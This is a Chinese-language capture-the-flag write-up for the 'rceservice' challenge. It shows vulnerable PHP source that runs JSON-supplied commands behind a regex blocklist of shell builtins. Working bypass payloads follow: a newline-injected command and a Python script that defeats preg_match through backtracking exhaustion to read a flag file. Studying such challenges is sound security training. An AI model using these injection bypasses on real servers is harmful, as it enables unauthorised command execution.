原题目:
rceservice
题目描述:
We created this web interface to run commands on our servers, but since we haven't figured out how to secure it yet we only let you run 'ls'
http://challenges.fbctf.com:8085
(This problem does not require any brute force or scanning.
We will ban your team if we detect brute force or scanning).
源码:
<?php
putenv('PATH=/home/rceservice/jail');
if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];
if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}
?>
提示输入json命令,json格式为键值对模式,输入{“cmd”:“ls”}
过滤的很多,可以绕过preg_match(绕过preg_match函数)函数本身
第一种方法:因为preg_match只会去匹配第一行,所以这里可以用多行进行绕过
源码中可以看到putenv('PATH=/home/rceservice/jail')已经修改了环境变量
cat命令在/bin中保存
payload :
cmd={%0A"cmd": "/bin/cat /home/rceservice/flag"%0A}
%0A是换行符
第二种方法:利用回溯次数来绕过函数
原题是用POST传参,在这里记录一下原题的脚本,因为复现是用GET传参,所以会导致414报错,
import requests
url = "http://9642293b-6ae3-4e99-9949-888648b4bdf9.node4.buuoj.cn:81/"
data = {
'cmd':'{"cmd":"/bin/cat /home/rceservice/flag","r1":"'+'a'*1000000+'"}' #设置r1参数,值为100万个a
}
r=requests.post(url=url,data=data).text #使用post方法请求,get方法会因为请求头过大而报错
print(r)